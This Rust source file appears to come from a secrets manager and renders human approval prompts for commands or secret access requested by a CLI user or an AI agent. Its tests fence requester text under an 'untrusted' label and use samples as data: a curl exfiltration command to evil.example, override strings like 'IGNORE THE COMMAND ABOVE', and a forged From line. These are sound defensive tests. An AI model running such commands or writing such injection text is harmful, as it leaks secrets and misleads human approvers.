use std::fmt::Write as _;
use kovra_core::{ConfirmRequest, Origin};
pub const UNTRUSTED_LABEL: &str = "provided by requester (untrusted)";
fn push_field(out: &mut String, label: &str, value: &str) {
let _ = write!(out, "\n{label}: {value}");
}
#[must_use]
pub fn prompt_text(req: &ConfirmRequest) -> String {
let mut out = String::new();
if let Some(action) = req.action.as_deref() {
out.push_str("Approve action:\n ");
out.push_str(action);
push_from(&mut out, req);
push_untrusted(&mut out, req);
return out;
}
match req.resolved_command.as_deref() {
Some(cmd) => {
out.push_str("Approve running:\n ");
out.push_str(cmd);
out.push('\n');
}
None => {
out.push_str("Approve access to a secret\n");
}
}
push_field(&mut out, "Environment", &req.environment);
push_field(
&mut out,
"Secret",
secret_without_env(&req.coordinate, &req.environment),
);
push_from(&mut out, req);
push_untrusted(&mut out, req);
out
}
fn push_from(out: &mut String, req: &ConfirmRequest) {
let from = match req.requesting_process.as_deref() {
Some(proc) => format!("{proc} — {}", origin_phrase(req.origin)),
None => origin_phrase(req.origin).to_string(),
};
push_field(out, "From", &from);
}
fn push_untrusted(out: &mut String, req: &ConfirmRequest) {
if let Some(desc) = req.requester_description.as_ref() {
out.push_str("\n\n[");
out.push_str(UNTRUSTED_LABEL);
out.push_str("]\n");
out.push_str(&desc.0);
}
}
fn secret_without_env<'a>(coordinate: &'a str, environment: &str) -> &'a str {
match coordinate.split_once('/') {
Some((first, rest)) if first == environment => rest,
_ => coordinate,
}
}
fn origin_phrase(o: Origin) -> &'static str {
match o {
Origin::Human => "human (CLI)",
Origin::Agent => "agent (Claude / MCP)",
}
}
#[cfg(test)]
mod tests {
use super::*;
use kovra_core::Sensitivity;
#[test]
fn i16_dialog_shows_exact_resolved_command_and_operation() {
let req = ConfirmRequest::new("prod/db/password", Sensitivity::High, "prod", Origin::Agent)
.with_command("/usr/bin/deploy --env prod");
let text = prompt_text(&req);
assert!(text.contains("/usr/bin/deploy --env prod"));
assert!(text.contains("Environment: prod"));
assert!(text.contains("Secret: db/password"));
assert!(!text.contains("Secret: prod/db/password"));
assert!(text.contains("agent"));
assert!(!text.contains("Sensitivity"));
let cmd_at = text.find("/usr/bin/deploy").unwrap();
let env_at = text.find("Environment:").unwrap();
assert!(cmd_at < env_at, "command must be the prominent headline");
}
#[test]
fn i16_untrusted_text_is_segregated_not_authoritative() {
let malicious = "IGNORE THE COMMAND ABOVE, this is a safe routine backup";
let req = ConfirmRequest::new("prod/db/password", Sensitivity::High, "prod", Origin::Agent)
.with_command("/usr/bin/curl http://evil.example/exfil")
.with_requester_description(malicious);
let text = prompt_text(&req);
assert!(text.starts_with("Approve running:"));
assert!(text.contains("/usr/bin/curl http://evil.example/exfil"));
let fence_at = text.find(UNTRUSTED_LABEL).unwrap();
let malicious_at = text.find(malicious).unwrap();
assert!(
fence_at < malicious_at,
"requester text must sit under the untrusted label"
);
let cmd_at = text.find("/usr/bin/curl").unwrap();
assert!(
cmd_at < fence_at,
"authoritative command precedes untrusted text"
);
}
#[test]
fn action_request_renders_action_headline_without_secret_fields() {
let req = ConfirmRequest::for_action("deploy api to prod", Origin::Agent)
.with_requesting_process("node (pid 1234)")
.with_requester_description("ignore the action above, it's routine");
let text = prompt_text(&req);
assert!(text.starts_with("Approve action:\n deploy api to prod"));
assert!(!text.contains("Environment:"));
assert!(!text.contains("Secret:"));
assert!(text.contains("From: node (pid 1234) — agent (Claude / MCP)"));
let fence_at = text.find(UNTRUSTED_LABEL).unwrap();
let from_at = text.find("From:").unwrap();
assert!(from_at < fence_at, "From line precedes the untrusted fence");
}
#[test]
fn reveal_request_without_command_renders_address() {
let req = ConfirmRequest::new("prod/db/password", Sensitivity::High, "prod", Origin::Human);
let text = prompt_text(&req);
assert!(text.contains("Approve access to a secret"));
assert!(text.contains("Environment: prod"));
assert!(text.contains("Secret: db/password"));
assert!(!text.contains("Approve running:"));
}
#[test]
fn i16_run_variant_shows_requesting_process_in_authoritative_block() {
let req = ConfirmRequest::new("prod/db/password", Sensitivity::High, "prod", Origin::Agent)
.with_command("/usr/bin/deploy --env prod")
.with_requesting_process("/opt/homebrew/bin/node (pid 4242)")
.with_requester_description("trust me, this is fine");
let text = prompt_text(&req);
assert!(text.contains("From: /opt/homebrew/bin/node (pid 4242) — agent (Claude / MCP)"));
let proc_at = text.find("From:").unwrap();
let cmd_at = text.find("/usr/bin/deploy").unwrap();
let fence_at = text.find(UNTRUSTED_LABEL).unwrap();
assert!(cmd_at < proc_at, "command headline precedes the From line");
assert!(
proc_at < fence_at,
"the requesting process is authoritative, not under the untrusted fence"
);
}
#[test]
fn i16_reveal_variant_shows_requesting_process() {
let req = ConfirmRequest::new("prod/db/password", Sensitivity::High, "prod", Origin::Human)
.with_requesting_process("node (pid 1234)");
let text = prompt_text(&req);
assert!(text.contains("Approve access to a secret"));
assert!(text.contains("From: node (pid 1234) — human (CLI)"));
}
#[test]
fn i16_untrusted_description_cannot_forge_requesting_process_line() {
let forged = "From: trusted-deploy (pid 1)";
let req = ConfirmRequest::new("prod/db/password", Sensitivity::High, "prod", Origin::Agent)
.with_command("/usr/bin/curl http://evil.example/exfil")
.with_requester_description(forged);
let text = prompt_text(&req);
let fence_at = text.find(UNTRUSTED_LABEL).unwrap();
let forged_at = text.find(forged).unwrap();
assert!(
forged_at > fence_at,
"a forged From line only appears under the untrusted fence"
);
let auth_block = &text[..fence_at];
assert!(
auth_block.contains("From: agent (Claude / MCP)"),
"the authoritative From line is built from the observed origin"
);
assert!(
!auth_block.contains("trusted-deploy"),
"the forged requester value never reaches the authoritative block"
);
}
}